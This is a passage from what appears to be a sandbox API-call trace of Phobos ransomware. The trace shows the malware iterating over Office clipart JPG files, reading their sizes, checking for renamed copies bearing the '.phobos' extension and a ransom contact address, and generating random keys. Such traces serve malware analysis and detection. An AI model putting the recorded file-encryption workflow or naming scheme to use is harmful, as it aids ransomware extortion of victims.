pbBuffer=0x411fa90) returned 1 [0152.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382966.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.689] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=100488) returned 1 [0152.689] CloseHandle (hObject=0x580) returned 1 [0152.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382966.jpg")) returned 0x220 [0152.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382966.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382966.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.689] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382966.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.689] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.689] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382967.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.690] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=93448) returned 1 [0152.690] CloseHandle (hObject=0x580) returned 1 [0152.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382967.jpg")) returned 0x220 [0152.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382967.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382967.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.691] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382968.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.691] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=112479) returned 1 [0152.691] CloseHandle (hObject=0x580) returned 1 [0152.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382968.jpg")) returned 0x220 [0152.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382968.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382968.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.692] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382969.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.692] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=96159) returned 1 [0152.692] CloseHandle (hObject=0x580) returned 1 [0152.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382969.jpg")) returned 0x220 [0152.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382969.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382969.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.693] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382970.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.693] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=88980) returned 1 [0152.694] CloseHandle (hObject=0x580) returned 1 [0152.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382970.jpg")) returned 0x220 [0152.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382970.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382970.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382970.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.694] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384862.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.694] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=102633) returned 1 [0152.695] CloseHandle (hObject=0x580) returned 1 [0152.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384862.jpg")) returned 0x220 [0152.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384862.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.695] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384862.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.695] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.695] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384885.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.695] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=97145) returned 1 [0152.695] CloseHandle (hObject=0x580) returned 1 [0152.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384885.jpg")) returned 0x220 [0152.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384885.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384885.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.696] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384888.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.696] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=81971) returned 1 [0152.696] CloseHandle (hObject=0x580) returned 1 [0152.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384888.jpg")) returned 0x220 [0152.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384888.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384888.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384888.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.697] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384895.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.697] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=55542) returned 1 [0152.697] CloseHandle (hObject=0x580) returned 1 [0152.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384895.jpg")) returned 0x220 [0152.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384895.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.700] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384900.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.701] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=71552) returned 1 [0152.701] CloseHandle (hObject=0x580) returned 1 [0152.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384900.jpg")) returned 0x220 [0152.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384900.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384900.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.701] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386120.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.702] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=30842) returned 1 [0152.702] CloseHandle (hObject=0x580) returned 1 [0152.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386120.jpg")) returned 0x220 [0152.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386120.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386120.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.703] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386267.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386267.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.704] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=43294) returned 1 [0152.704] CloseHandle (hObject=0x580) returned 1 [0152.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386267.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386267.jpg")) returned 0x220 [0152.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386267.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386267.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386267.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386267.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.705] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386270.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.706] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=15171) returned 1 [0152.706] CloseHandle (hObject=0x580) returned 1 [0152.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386270.jpg")) returned 0x220 [0152.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386270.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386270.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.706] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386485.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.707] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=14698) returned 1 [0152.707] CloseHandle (hObject=0x580) returned 1 [0152.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386485.jpg")) returned 0x220 [0152.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386485.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386485.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.708] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386764.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.709] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=26942) returned 1 [0152.709] CloseHandle (hObject=0x580) returned 1 [0152.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386764.jpg")) returned 0x220 [0152.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386764.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386764.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.709] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387337.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.710] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=51978) returned 1 [0152.710] CloseHandle (hObject=0x580) returned 1 [0152.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387337.jpg")) returned 0x220 [0152.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387337.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387337.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.710] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387337.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.711] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.711] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387578.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.711] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=27884) returned 1 [0152.711] CloseHandle (hObject=0x580) returned 1 [0152.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387578.jpg")) returned 0x220 [0152.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program 